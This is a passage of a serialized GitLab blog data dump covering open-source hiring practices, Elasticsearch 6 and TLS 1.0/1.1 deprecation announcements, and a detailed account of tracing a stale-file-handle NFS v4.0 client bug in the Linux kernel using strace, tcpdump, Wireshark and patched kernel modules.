projects](https://insights.dice.com/2013/11/15/improve-chance-landing-job-personal-project/), that you don't take it seriously or are [not as desirable of a candidate](https://techbeacon.com/what-do-job-seeking-developers-need-their-github) as someone who does spend all their time on coding,\" Duane says. \"I think that places an unfair claim on people's free time, and what they should be doing with it. Especially those with families. Most people expect flexibility and wouldn’t want to work for an employer who has unrealistic expectations.\"\n\n### Open source's place in hiring\n\nOpen source participation does have a role in hiring, but it should not be the be-all and end-all for a candidate. If you’re looking for someone who has experience working within a particular open source community or project, then it makes sense to look at the open source contributions of job candidates, O’Brien said. But in most cases, there are other ways to evaluate applicants and also keep the playing field even.\n\n\"If you're looking to hire for an engineering position and you've got two engineers, one of whom has a robust history of working in open source, and one of them who doesn't have any open source footprint at all, rather than automatically interpreting one candidate as less desirable than the other, I recommend finding another way to get a look at their skills,\" Duane advised. \"You can do that by asking them for code samples, or having them do panel interviews or take-home assessment-based assignments. Some companies are also offering contract work to potential candidates as a way to try them out on the job. Honeycomb.io has done some of this.\u003Csup>(3)\u003C/sup> This ‘hiring in production’ mentality seems to be emerging as a practice.\"\n\n### Suggestions for job hunters\n\nJob seekers who have little to no open source experience should be prepared for questions about their lack of participation. Be straightforward about your constraints, be it a lack of time, interest or opportunity, and offer code samples that allow employers to view your skills in action. Duane says it is also important to interview your potential employer to make sure their expectations are in line with your wants and needs.\n\nFor those looking to get some open source experience, there are a number of ways to get involved, including, of course, [GitLab](/community/contribute/). Duane pointed to paid opportunities like [Outreachy](https://www.outreachy.org/), which offers internships to people in underrepresented groups to support them in making their first contributions into open source, as well as bug bounties.\n\nDuane recently presented his talk at All Things Open and the Seattle GNU/Linux conference. He may present the talk again at a few more events in the near future.\n\n\"Since it's a topic that seems to come up in our social sphere every few months or so, I want to encourage us to go back and look at Ashe's blog post, and the other people who've already been talking about it,\" he said. \"There are many different ways to evaluate candidates besides just looking at their GitHub data, and it’s important that look at the whole picture when we evaluate candidates.\"\n\nWhat role do you think open source contributions should play in the hiring process? Sound off on Twitter and let us know [@GitLab](https://twitter.com/gitlab) or comment below.\n\n**Footnotes**\n\n[1](http://opensourcesurvey.org/2017/#insights),\n[2](https://assets.digitalocean.com/currents-report/DigitalOcean-Currents-Q4-2017.pdf),\n3 You can see some discussion of this in this [Twitter thread](https://twitter.com/DuaneOBrien/status/963499537154310145), which refers to the [first Sentry Scouts meetup](https://sentry.io/_/events/2018-01-17-sentry-scouts-1/).\n{: .note}\n",[7715,815,267],{"slug":31439,"featured":6,"template":678},"hiring-based-on-open-source-contributions-could-be-harmful","content:en-us:blog:hiring-based-on-open-source-contributions-could-be-harmful.yml","Hiring Based On Open Source Contributions Could Be Harmful","en-us/blog/hiring-based-on-open-source-contributions-could-be-harmful.yml","en-us/blog/hiring-based-on-open-source-contributions-could-be-harmful",{"_path":31445,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31446,"content":31451,"config":31456,"_id":31458,"_type":16,"title":31459,"_source":17,"_file":31460,"_stem":31461,"_extension":20},"/en-us/blog/new-elasticsearch-version-requirements",{"title":31447,"description":31448,"ogTitle":31447,"ogDescription":31448,"noIndex":6,"ogImage":17364,"ogUrl":31449,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31449,"schema":31450},"GitLab 11.5 adds Elasticsearch 6, removes ES 5.5 support","GitLab 11.5 will support Elasticsearch version 6 and 5.6, sunsetting support for versions 5.5 and earlier.","https://about.gitlab.com/blog/new-elasticsearch-version-requirements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 11.5 to support Elasticsearch 6, sunset support for Elasticsearch 5.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mario de la Ossa\"}],\n        \"datePublished\": \"2018-11-16\",\n      }",{"title":31452,"description":31448,"authors":31453,"heroImage":17364,"date":31435,"body":31454,"category":734,"tags":31455},"GitLab 11.5 to support Elasticsearch 6, sunset support for Elasticsearch 5.5",[30287],"\nIn Gitlab 11.5 (to be released on Nov. 22, 2018), GitLab's [Elasticsearch integration](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html)\nwill support Elasticsearch version 6, and will no longer support versions 5.5 or earlier.\nPlease make plans to upgrade Elasticsearch to version 5.6 or 6.x immediately before upgrading to GitLab 11.5. After you upgrade GitLab, you will also need\nto perform a [reindex](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html),\nas the changes required to support these Elasticsearch versions are incompatible with the indexes of previous versions.\n\nIn summary, starting with 11.5, GitLab will support:\n- Elasticsearch version 5.6\n- Elasticsearch version 6.x\n\nIf you are using GitLab.com, this does not impact you in any way. This is only relevant\nfor [self-managed GitLab](/pricing/#self-managed).\n{: .alert .alert-info}\n\nGitLab uses Elasticsearch for [Advanced Global Search](https://docs.gitlab.com/ee/user/search/advanced_search.html)\nand [Advanced Syntax Search](https://docs.gitlab.com/ee/user/search/advanced_search.html).\n\n## Why are we doing this?\n\nElasticsearch version 6 brings with it two large changes that were incompatible with the way we currently index:\n\n- The [removal of mapping types](https://www.elastic.co/guide/en/elasticsearch/reference/6.x/removal-of-types.html).\n- Parent-child relationships are now established via a [`join` datatype](https://www.elastic.co/guide/en/elasticsearch/reference/6.0/parent-join.html).\n\nWe'll go into some detail on how each of these changes affects GitLab.\n\n### Removal of mapping types\n\nIn Elasticsearch 6, all documents under the same index must be of the same 'type.' We need to keep all documents under the same index\nin order to be able to query based on project membership and permissions, so this change forced us to implement our own\n`type` field in order to still be able to query only a single type (for example, issues).\n\nThis removal of mapping types also affected [the way parent-child relationships work](https://www.elastic.co/guide/en/elasticsearch/reference/6.x/removal-of-types.html#_parent_child_without_mapping_types).\n\n### `join` datatype\n\nWith the mapping type change comes a change to the way parent-child relationships\nare expressed. Elasticsearch 5.6 and 6.x have introduced a [`join` datatype](https://www.elastic.co/guide/en/elasticsearch/reference/6.0/parent-join.html)\nthat GitLab 11.5 puts to use. (As of 6.0, it is the required method for defining these relationships.)\n\nWhen using `join`, all insertions and deletions must be routed relative to their\nparent – which means we must send the parent's ID in the `routing` field. In 5.6,\nthis means that the `_parent` field is ignored, and in 6.x it is removed.\n\n### Why Elasticsearch 5.6 remains compatible\n\nAs noted in the [schedule for removal of mapping types](https://www.elastic.co/guide/en/elasticsearch/reference/6.x/removal-of-types.html#_schedule_for_removal_of_mapping_types),\nversion 5.6 is the first Elasticsearch version where the `join` datatype is available, as well as the first version where `single_type`\nbehavior can be enabled.\n\nWe tested versions 5.5 and below, and unfortunately they have no support for `join` datatypes, so we need to end support for these versions as of GitLab 11.5.\n\nWe're especially looking forward to supporting Elasticsearch version 6 as it brings with it some great [improvements](https://www.elastic.co/blog/elasticsearch-6-0-0-released), including:\n\n- Major improvements for sparsely populated fields\n- Faster query times with sorted indices\n- Search scalability across shards\n",[754,774],{"slug":31457,"featured":6,"template":678},"new-elasticsearch-version-requirements","content:en-us:blog:new-elasticsearch-version-requirements.yml","New Elasticsearch Version Requirements","en-us/blog/new-elasticsearch-version-requirements.yml","en-us/blog/new-elasticsearch-version-requirements",{"_path":31463,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31464,"content":31469,"config":31475,"_id":31477,"_type":16,"title":31478,"_source":17,"_file":31479,"_stem":31480,"_extension":20},"/en-us/blog/gitlab-tls-support-discontinue-update",{"title":31465,"description":31466,"ogTitle":31465,"ogDescription":31466,"noIndex":6,"ogImage":14173,"ogUrl":31467,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31467,"schema":31468},"TLS 1.0 and 1.1 support ending on GitLab in 2018","Find out how to test for potential operational disruptions to your integrations and browsers.","https://about.gitlab.com/blog/gitlab-tls-support-discontinue-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're on target to discontinue support for TLS 1.0 and TLS 1.1 by end of 2018\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Farber\"}],\n        \"datePublished\": \"2018-11-15\",\n      }",{"title":31470,"description":31466,"authors":31471,"heroImage":14173,"date":31472,"body":31473,"category":299,"tags":31474},"We're on target to discontinue support for TLS 1.0 and TLS 1.1 by end of 2018",[31141],"2018-11-15","\n\nAs we announced in our October 15 blog post, [GitLab's plan to discontinue support for TLS 1.0 and 1.1 on GitLab.com and in our GitLab API](/blog/gitlab-to-deprecate-older-tls/) by December 15, 2018 is on track. At the time of our announcement, we provided a link to this [public issue that is being used to track progress of this initiative](https://gitlab.com/gitlab-com/gl-security/security-department-meta/issues/202) and provide updates to the GitLab community.\n\nIn addition, part of our commitment to our community is to provide a vehicle through which to test your integrations, API tokens, and browsers, in an effort to minimize any potential operational disruptions.\n\n## How to test for potential disruptions\n\nOur efforts to minimize any potential operational disruptions to GitLab.com and GitLab API users while discontinuing support for TLS 1.0 and TLS 1.1 include making our canary production environment available for TLS 1.2 compatibility testing. The environment has been configured to support TLS 1.2 only, and should be used to test your integrations and browsers.\n\n### API tokens or scripting\n\nTo test integrations that use API tokens or scripting, please point them to a base URL of [canary.gitlab.com](https://canary.gitlab.com/).\n\n### Browsers\n\nTo test any of your browsers, please test using [canary.gitlab.com/help](https://canary.gitlab.com/help) or another URL related to your project or group.\n\nPlease carry out testing to ensure that your connections are successful using this endpoint prior to December 15, 2018. If your integrations are affected and you need additional support, please email the GitLab Security Team at security@gitlab.com.\n\nAs always, we will continue to monitor TLS 1.0 and 1.1 vulnerabilities and will adapt our timeline as required to mitigate protocol-level issues if they arise.  Updates to timelines will be posted to our Twitter feed and tracked in [this public issue](https://gitlab.com/gitlab-com/gl-security/security-department-meta/issues/202). Additionally, GitLab.com users who have opted to receive security alert emails from GitLab will receive status updates regarding the this deprecation process.\nIf you have any questions, please reach out to the Security Team by emailing security@gitlab.com.\n\n## Identified client incompatibilities\n\nThe majority of traffic should be unaffected by the discontinuation of support for TLS versions 1.0 and 1.1. Currently, the vast majority of the requests to GitLab.com are using up-to-date clients with support for TLS 1.2. While there are a few remaining clients that we believe will be affected (see below), most of these can be updated to work with TLS 1.2.\n\n### Git-Credential-Manager-for-Windows prior to 1.14.0\n\nVersions prior to 1.14.0 of Git-Credential-Manager-for-Windows do not support TLSv1.2. This can be addressed by updating to v1.14.0.\n\n### Git on Red Hat 5, \u003C 6.8, and \u003C 7.2\n\nUsers running Red Hat 5 are advised to upgrade to a newer version of the operating system as Red Hat does not have a point release planned for 5 that supports TLS 1.2. Git clients shipped with Red Hat 6 and 7 did not support TLSv1.2, which can be remediated by updating to versions 6.8 and 7.2 respectively.\n\n### JGit/Java releases \u003C JDK 8\n\nVersions of the JDK 6 and prior do not support TLSv1.2. We advise users of JDK \u003C= 6 to upgrade to a newer version of the JDK.\n\n### Visual Studio\n\nThe latest version of Visual Studio 2017 supports TLSv1.2. Users not running the latest version are advised to upgrade.\n",[674],{"slug":31476,"featured":6,"template":678},"gitlab-tls-support-discontinue-update","content:en-us:blog:gitlab-tls-support-discontinue-update.yml","Gitlab Tls Support Discontinue Update","en-us/blog/gitlab-tls-support-discontinue-update.yml","en-us/blog/gitlab-tls-support-discontinue-update",{"_path":31482,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31483,"content":31489,"config":31494,"_id":31496,"_type":16,"title":31497,"_source":17,"_file":31498,"_stem":31499,"_extension":20},"/en-us/blog/how-we-spent-two-weeks-hunting-an-nfs-bug",{"title":31484,"description":31485,"ogTitle":31484,"ogDescription":31485,"noIndex":6,"ogImage":31486,"ogUrl":31487,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31487,"schema":31488},"How we spent two weeks hunting an NFS bug in the Linux kernel","Here's an in-depth recap of debugging a GitLab issue that culminated in a patch for the Linux kernel.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672173/Blog/Hero%20Images/nfs-bug-hunt-detective.jpg","https://about.gitlab.com/blog/how-we-spent-two-weeks-hunting-an-nfs-bug","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we spent two weeks hunting an NFS bug in the Linux kernel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2018-11-14\",\n      }",{"title":31484,"description":31485,"authors":31490,"heroImage":31486,"date":31491,"body":31492,"category":734,"tags":31493},[731],"2018-11-14","\n\nUPDATE 2019-08-06: This bug has now been resolved in the following\ndistributions:\n\n* [Red Hat Enterprise Linux 7](https://access.redhat.com/errata/RHSA-2019:2029)\n* [Ubuntu](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1802585)\n* Linux mainline: Backported to [4.14-stable](https://lkml.org/lkml/2019/8/2/562) and [4.19-stable](https://lkml.org/lkml/2019/8/2/639)\n\nOn Sep. 14, the GitLab support team escalated a critical\nproblem encountered by one of our customers: GitLab would run fine for a\nwhile, but after some time users encountered errors. When attempting to\nclone certain repositories via Git, users would see an opaque `Stale\nfile error` message. The error message persisted for a long time,\nblocking employees from being able to work, unless a system\nadministrator intervened manually by running `ls` in the directory\nitself.\n\nThus launched an investigation into the inner workings of Git and the\nNetwork File System (NFS). The investigation uncovered a bug with the\nLinux v4.0 NFS client and culiminated with a [kernel patch that was written by\nTrond Myklebust](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=be189f7e7f03de35887e5a85ddcf39b91b5d7fc1)\nand [merged in the latest mainline Linux kernel](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=c7a2c49ea6c9eebbe44ff2c08b663b2905ee2c13)\non Oct. 26.\n\nThis post describes the journey of investigating the issue and\ndetails the thought process and tools by which we tracked down the\nbug. It was inspired by the fine detective work in [How I spent two\nweeks hunting a memory leak in Ruby](http://www.be9.io/2015/09/21/memory-leak/)\nby Oleg Dashevskii.\n\nMore importantly, this experience exemplifies how open source software\ndebugging has become a team sport that involves expertise across\nmultiple people, companies, and locations. The GitLab motto \"[everyone can\ncontribute](/company/mission/#mission)\" applies not only to GitLab itself, but also to other open\nsource projects, such as the Linux kernel.\n\n## Reproducing the bug\n\nWhile we have run NFS on GitLab.com for many years, we have stopped\nusing it to access repository data across our application\nmachines. Instead, we have [abstracted all Git calls to\nGitaly](/blog/the-road-to-gitaly-1-0/).\nStill, NFS remains a supported configuration for our customers who\nmanage their own installation of GitLab, but we had never seen the exact\nproblem described by the customer before.\n\n[Our customer gave us a few important clues](https://gitlab.com/gitlab-org/gitlab-ce/issues/51437):\n\n1. The full error message read, `fatal: Couldn't read ./packed-refs: Stale file handle`.\n2. The error seemed to start when they started a manual Git garbage\ncollection run via `git gc`.\n3. The error would go away if a system administrator ran `ls` in the\ndirectory.\n4. The error also would go away after `git gc` process ended.\n\nThe first two items seemed obviously related. When you push to a branch\nin Git, Git creates a loose reference, a fancy name for a file that\npoints your branch name to the commit. For example, a push to `master`\nwill create a file called `refs/heads/master` in the repository:\n\n```bash\n$ cat refs/heads/master\n2e33a554576d06d9e71bfd6814ee9ba3a7838963\n```\n\n`git gc` has several jobs, but one of them is to collect these loose\nreferences (refs) and bundle them up into a single file called\n`packed-refs`. This makes things a bit faster by eliminating the need to\nread lots of little files in favor of reading one large one. For\nexample, after running `git gc`, an example `packed-refs` might look\nlike:\n\n```\n# pack-refs with: peeled fully-peeled sorted\n564c3424d6f9175cf5f2d522e10d20d781511bf1 refs/heads/10-8-stable\nedb037cbc85225261e8ede5455be4aad771ba3bb refs/heads/11-0-stable\n94b9323033693af247128c8648023fe5b53e80f9 refs/heads/11-1-stable\n2e33a554576d06d9e71bfd6814ee9ba3a7838963 refs/heads/master\n```\n\nHow exactly is this `packed-refs` file created? To answer that, we ran\n`strace git gc` with a loose ref present. Here are the pertinent lines\nfrom that:\n\n```\n28705 open(\"/tmp/libgit2/.git/packed-refs.lock\", O_RDWR|O_CREAT|O_EXCL|O_CLOEXEC, 0666) = 3\n28705 open(\".git/packed-refs\", O_RDONLY) = 3\n28705 open(\"/tmp/libgit2/.git/packed-refs.new\", O_RDWR|O_CREAT|O_EXCL|O_CLOEXEC, 0666) = 4\n28705 rename(\"/tmp/libgit2/.git/packed-refs.new\", \"/tmp/libgit2/.git/packed-refs\") = 0\n28705 unlink(\"/tmp/libgit2/.git/packed-refs.lock\") = 0\n```\n\nThe system calls showed that `git gc` did the following:\n\n1. Open `packed-refs.lock`. This tells other processes that `packed-refs` is locked and cannot be changed.\n1. Open `packed-refs.new`.\n1. Write loose refs to `packed-refs.new`.\n1. Rename `packed-refs.new` to `packed-refs`.\n1. Remove `packed-refs.lock`.\n1. Remove loose refs.\n\nThe fourth step is the key here: the rename where Git puts `packed-refs`\ninto action. In addition to collecting loose refs, `git gc` also\nperforms a more expensive task of scanning for unused objects and\nremoving them. This task can take over an hour for large\nrepositories.\n\nThat made us wonder: for a large repository, does `git gc` keep the file\nopen while it's running this sweep? Looking at the `strace` logs and\nprobing the process with `lsof`, we found that it did the following:\n\n![Git Garbage Collection](https://about.gitlab.com/images/blogimages/nfs-debug/git-gc-diagram.svg)\n\nNotice that `packed-refs` is closed only at the end, after the potentially\nlong `Garbage collect objects` step takes place.\n\nThat made us wonder: how does NFS behave when one node has `packed-refs`\nopen while another renames over that file?\n\nTo experiment, we asked the customer to run the following experiment on\ntwo different machines (Alice and Bob):\n\n1. On the shared NFS volume, create two files: `test1.txt` and\n`test2.txt` with different contents to make it easy to distinguish them:\n\n    ```bash\n    alice $ echo \"1 - Old file\" > /path/to/nfs/test1.txt\n    alice $ echo \"2 - New file\" > /path/to/nfs/test2.txt\n    ```\n\n2. On machine Alice, keep a file open to `test1.txt`:\n\n    ```bash\n     alice $ irb\n     irb(main):001:0> File.open('/path/to/nfs/test1.txt')\n    ```\n\n3. On machine Alice, show the contents of `test1.txt` continuously:\n\n    ```bash\n    alice $ while true; do cat test1.txt; done\n    ```\n\n4. Then on machine Bob, run:\n\n    ```bash\n    bob $ mv -f test2.txt test1.txt\n    ```\n\nThis last step emulates what `git gc` does with `packed-refs` by\noverwriting the existing file.\n\nOn the customer's machine, the result looked something like:\n\n```\n1 - Old file\n1 - Old file\n1 - Old file\ncat: test1.txt: Stale file handle\n```\n\nBingo! We seemed to reproduce the problem in a controlled way. However,\nthe same experiment using a Linux NFS server did not have this\nproblem. The result was what you would expect: the new contents were\npicked up after the rename:\n\n```\n1 - Old file\n1 - Old file\n1 - Old file\n2 - New file  \u003C--- RENAME HAPPENED\n2 - New file\n2 - New file\n```\n\nWhy the difference in behavior? It turns out that the customer was using\nan [Isilon NFS\nappliance](https://www.dellemc.com/en-us/storage/isilon/index.htm) that\nonly supported NFS v4.0. By switching the mount parameters to v4.0 via\nthe `vers=4.0` parameter in `/etc/fstab`, the test revealed a different\nresult with the Linux NFS server:\n\n```\n1 - Old file\n1 - Old file\n1 - Old file\n1 - Old file \u003C--- RENAME HAPPENED\n1 - Old file\n1 - Old file\n```\n\nInstead of a `Stale file handle`, the Linux NFS v4.0 server showed stale\n*contents*. It turns out this difference in behavior can be explained by\nthe NFS spec. From [RFC\n3010](https://tools.ietf.org/html/rfc3010#page-153):\n\n> A filehandle may or may not become stale or expire on a rename.\n> However, server implementors are strongly encouraged to attempt to keep\n> file handles from becoming stale or expiring in this fashion.\n\nIn other words, NFS servers can choose how to behave if a file is\nrenamed; it's perfectly valid for any NFS server to return a `Stale file\nerror` when that happens. We surmised that even though the results were\ndifferent, the problem was likely related to the same issue. We\nsuspected some cache validation issue because running `ls` in the\ndirectory would \"clear\" the error. Now that we had a reproducible test\ncase, we asked the experts: the Linux NFS maintainers.\n\n## False path: NFS server delegations\n\nWith a clear set of reproduction steps, I [sent an email to the Linux\nNFS mailing list](https://marc.info/?l=linux-nfs&m=153721785231614&w=2)\ndescribing what we had found. Over the week, I went back and forth with\nBruce Fields, the Linux NFS server maintainer, who suggested this was a\nNFS bug and that it would be useful to look at the network traffic. He\nthought there might be an issue with NFS server delegations.\n\n### What is an NFS server delegation?\n\nIn a nutshell, NFS v4 introduced server delegations as a way to speed up file access. A server can\ndelegate read or write access to a client so that the client doesn't\nhave to keep asking the server whether that file has changed by another\nclient. In simpler terms, a write delegation is akin to someone lending\nyou a notebook and saying, \"Go ahead and write in here, and I'll take it\nback when I'm ready.\" Instead of having to ask to borrow the notebook\nevery time you want to write a new paragraph, you have free rein until\nthe owner reclaims the notebook. In NFS terms, this reclamation process\nis called a delegation recall.\n\nIndeed, a bug in the NFS delegation recall might explain the `Stale file\nhandle` problem. Remember that in the earlier experiment, Alice had\nan open file to `test1.txt` when it was replaced by `test2.txt` later.\nIt's possible that the server failed to recall the delegation on\n`test1.txt`, resulting in an incorrect state. To check whether this was\nan issue, we turned to `tcpdump` to capture NFS traffic and used\nWireshark to visualize it.\n\n[Wireshark](https://www.wireshark.org/) is a wonderful open source tool\nfor analyzing network traffic, and it's especially good for viewing NFS\nin action. We captured a trace using the following command on the NFS server:\n\n```\ntcpdump -s 0 -w /tmp/nfs.pcap port 2049\n```\n\nThis command captures all NFS traffic, which typically is on TCP port 2049.\nBecause our experiment worked properly with NFS v4.1 but did not\n with NFS v4.0, we could compare and contrast how NFS behaved\nin a non-working and a working case. With Wireshark, we saw the\nfollowing behavior:\n\n### NFS v4.0 (stale file case)\n\n![NFS v4.0 flow](https://about.gitlab.com/images/blogimages/nfs-debug/nfs-4.0-flow.svg)\n\nIn this diagram, we can see in step 1 Alice opens `test1.txt` and gets\nback an NFS file handle along with a `stateid` of 0x3000. When Bob\nattempts to rename the file, the NFS server tells to Bob to retry via\nthe `NFS4ERR_DELAY` message while it recalls the delegation from Alice\nvia the `CB_RECALL` message (step 3). Alice then returns her delegation\nvia `DELEGRETURN` (step 4), and then Bob attempts to send another\n`RENAME` message (step 5). The `RENAME` completes in both cases, but\nAlice continues to read using the same file handle.\n\n### NFS v4.1 (working case)\n\n![NFS v4.1 flow](https://about.gitlab.com/images/blogimages/nfs-debug/nfs-4.1-flow.svg)\n\nThe main difference happens at the bottom at step 6. Notice in NFS v4.0\n(the stale file case), Alice attempts to reuse the same `stateid`. In\nNFS v4.1 (working case), Alice performs an additional `LOOKUP` and\n`OPEN`, which causes the server to return a different `stateid`. In v4.0,\nthese extra messages are never sent. This explains why Alice continues\nto see stale content because she uses the old file handle.\n\nWhat makes Alice decide to do the extra `LOOKUP`? The delegation recall\nseemed to work fine, but perhaps there was still an issue, such as a\nmissing invalidation step. To rule that out, we disabled NFS delegations\nby issuing this command on the NFS server itself:\n\n```sh\necho 0 > /proc/sys/fs/leases-enable\n```\n\nWe repeated the experiment, but the problem persisted. All this\nconvinced us this wasn't a NFS server issue or a problem with NFS\ndelegations; it was a problem that led us to look into the NFS client\nwithin the kernel.\n\n## Digging deeper: the Linux NFS client\n\nThe first question we had to answer for the NFS maintainers:\n\n### Was this problem still in the latest upstream kernel?\n\nThe issue occurred with both CentOS 7.2 and Ubuntu 16.04 kernels, which\nused versions 3.10.0-862.11.6 and 4.4.0-130, respectively. However, both\nthose kernels lagged the most recent kernel, which was 4.19-rc2 at the\ntime.\n\nWe deployed a new Ubuntu 16.04 virtual machine on Google Cloud Platform\n(GCP), cloned the latest Linux kernel, and set up a kernel development\nenvironment. After generating a `.config` file via `make menuconfig`, we\nchecked two items:\n\n1. The NFS driver was compiled as a module (`CONFIG_NFSD=m`).\n2. The [required GCP kernel settings](https://cloud.google.com/compute/docs/images/building-custom-os)\nwere set properly.\n\nJust as a geneticist would use fruit flies to study evolution in\nreal time, the first item allowed us to make quick changes in the NFS\nclient without having to reboot the kernel. The second item was required\nto ensure that the kernel would actually boot after it was\ninstalled. Fortunately, the default kernel settings had all the settings\nright out of the box.\n\nWith our custom kernel, we verified that the stale file problem still\nexisted in the latest version. That begged a number of questions:\n\n1. Where exactly was this problem happening?\n2. Why was this problem happening with NFS v4.0 but not in v4.1?\n\nTo answer these questions, we began to investigate the NFS [source\ncode](/solutions/source-code-management/). Since we didn't have a kernel debugger available, we sprinkled the\nsource code with two main types of calls:\n\n1. `pr_info()` ([what used to be `printk`](https://lwn.net/Articles/487437/)).\n2. `dump_stack()`: This would show the stack trace of the current function call.\n\nFor example, one of the first things we did was hook into the\n`nfs4_file_open()` function in `fs/nfs/nfs4file.c`:\n\n```c\nstatic int\nnfs4_file_open(struct inode *inode, struct file *filp)\n{\n...\n        pr_info(\"nfs4_file_open start\\n\");\n        dump_stack();\n```\n\nAdmittedly, we could have [activated the `dprintk` messages with the\nLinux dynamic\ndebug](https://www.kernel.org/doc/html/v4.15/admin-guide/dynamic-debug-howto.html)\nor used\n[`rpcdebug`](https://www.thegeekdiary.com/how-to-enable-nfs-debug-logging-using-rpcdebug/),\nbut it was nice to be able to add our own messages to verify changes\nwere being made.\n\nEvery time we made changes, we recompiled the module and reinstalled it\ninto the kernel via the commands:\n\n```sh\nmake modules\nsudo umount /mnt/nfs-test\nsudo rmmod nfsv4\nsudo rmmod nfs\nsudo insmod fs/nfs/nfs.ko\nsudo mount -a\n```\n\nWith our NFS module installed, repeating the experiments would print\nmessages that would help us understand the NFS code a bit more. For\nexample, you can see exactly what happens when an application calls `open()`:\n\n```\nSep 24 20:20:38 test-kernel kernel: [ 1145.233460] Call Trace:\nSep 24 20:20:38 test-kernel kernel: [ 1145.233462]  dump_stack+0x8e/0xd5\nSep 24 20:20:38 test-kernel kernel: [ 1145.233480]  nfs4_file_open+0x56/0x2a0 [nfsv4]\nSep 24 20:20:38 test-kernel kernel: [ 1145.233488]  ? nfs42_clone_file_range+0x1c0/0x1c0 [nfsv4]\nSep 24 20:20:38 test-kernel kernel: [ 1145.233490]  do_dentry_open+0x1f6/0x360\nSep 24 20:20:38 test-kernel kernel: [ 1145.233492]  vfs_open+0x2f/0x40\nSep 24 20:20:38 test-kernel kernel: [ 1145.233493]  path_openat+0x2e8/0x1690\nSep 24 20:20:38 test-kernel kernel: [ 1145.233496]  ? mem_cgroup_try_charge+0x8b/0x190\nSep 24 20:20:38 test-kernel kernel: [ 1145.233497]  do_filp_open+0x9b/0x110\nSep 24 20:20:38 test-kernel kernel: [ 1145.233499]  ? __check_object_size+0xb8/0x1b0\nSep 24 20:20:38 test-kernel kernel: [ 1145.233501]  ? __alloc_fd+0x46/0x170\nSep 24 20:20:38 test-kernel kernel: [ 1145.233503]  do_sys_open+0x1ba/0x250\nSep 24 20:20:38 test-kernel kernel: [ 1145.233505]  ? do_sys_open+0x1ba/0x250\nSep 24 20:20:38 test-kernel kernel: [ 1145.233507]  __x64_sys_openat+0x20/0x30\nSep 24 20:20:38 test-kernel kernel: [ 1145.233508]  do_syscall_64+0x65/0x130\n```\n\nWhat are the `do_dentry_open` and `vfs_open` calls above? Linux has a\n[virtual filesystem\n(VFS)](https://www.kernel.org/doc/Documentation/filesystems/vfs.txt), an\nabstraction layer which provides a common interface for all\nfilesystems. The VFS documentation explains:\n\n> The VFS implements the open(2), stat(2), chmod(2), and similar system\n> calls. The pathname argument that is passed to them is used by the VFS\n> to search through the directory entry cache (also known as the dentry\n> cache or dcache). This provides a very fast look-up mechanism to\n> translate a pathname (filename) into a specific dentry. Dentries live\n> in RAM and are never saved to disc: they exist only for performance.\n\n### This gave us a clue: what if this was a problem with the dentry cache?\n\nWe noticed a lot of dentry cache validation was done in\n`fs/nfs/dir.c`. In particular, `nfs4_lookup_revalidate()` sounded\npromising. As an experiment, we hacked that function to bail\nout early:\n\n\n```diff\ndiff --git a/fs/nfs/dir.c b/fs/nfs/dir.c\nindex 8bfaa658b2c1..ad479bfeb669 100644\n--- a/fs/nfs/dir.c\n+++ b/fs/nfs/dir.c\n@@ -1159,6 +1159,7 @@ static int nfs_lookup_revalidate(struct dentry *dentry, unsigned int flags)\n        trace_nfs_lookup_revalidate_enter(dir, dentry, flags);\n        error = NFS_PROTO(dir)->lookup(dir, &dentry->d_name, fhandle, fattr, label);\n        trace_nfs_lookup_revalidate_exit(dir, dentry, flags, error);\n+       goto out_bad;\n        if (error == -ESTALE || error == -ENOENT)\n                goto out_bad;\n        if (error)\n```\n\nThat made the stale file problem in our experiment go away! Now we were onto something.\n\nTo answer, \"Why does this problem not happen in NFS v4.1?\", we added\n`pr_info()` calls to every `if` block in that function. After running our\nexperiments with NFS v4.0 and v4.1, we found this special condition being run\nin the v4.1 case:\n\n```c\n        if (NFS_SB(dentry->d_sb)->caps & NFS_CAP_ATOMIC_OPEN_V1) {\n          goto no_open;\n        }\n```\n\nWhat is `NFS_CAP_ATOMIC_OPEN_V1`? We saw [this kernel\npatch](https://patchwork.kernel.org/patch/2300511/) mentioned this was\nan NFS v4.1-specific feature, and the code in `fs/nfs/nfs4proc.c`\nconfirmed that this flag was a capability present in v4.1 but not in v4.0:\n\n```c\nstatic const struct nfs4_minor_version_ops nfs_v4_1_minor_ops = {\n        .minor_version = 1,\n        .init_caps = NFS_CAP_READDIRPLUS\n                | NFS_CAP_ATOMIC_OPEN\n                | NFS_CAP_POSIX_LOCK\n                | NFS_CAP_STATEID_NFSV41\n                | NFS_CAP_ATOMIC_OPEN_V1\n```\n\nThat explained the difference in behavior: in the v4.1 case, the `goto\nno_open` would cause more validation to happen in\n`nfs_lookup_revalidate()`, but in v4.0, the `nfs4_lookup_revalidate()`\nwould return earlier. Now, how do we actually solve the problem?\n\n## The solution\n\nI reported the [findings to the NFS mailing\nlist](https://marc.info/?l=linux-nfs&m=153782129412452&w=2) and proposed\n[a naive patch](https://marc.info/?l=linux-nfs&m=153807208928650&w=2). A\nweek after the report, Trond Myklebust sent a [patch series to the list\nfixing this bug and found another related issue for NFS\nv4.1](https://marc.info/?l=linux-nfs&m=153816500525563&w=2).\n\nIt turns out the fix for the NFS v4.0 bug was deeper in the code base\nthan we had looked. Trond summarized it well in the\n[patch](https://marc.info/?l=linux-nfs&m=153816500525564&w=2):\n\n> We need to ensure that inode and dentry revalidation occurs 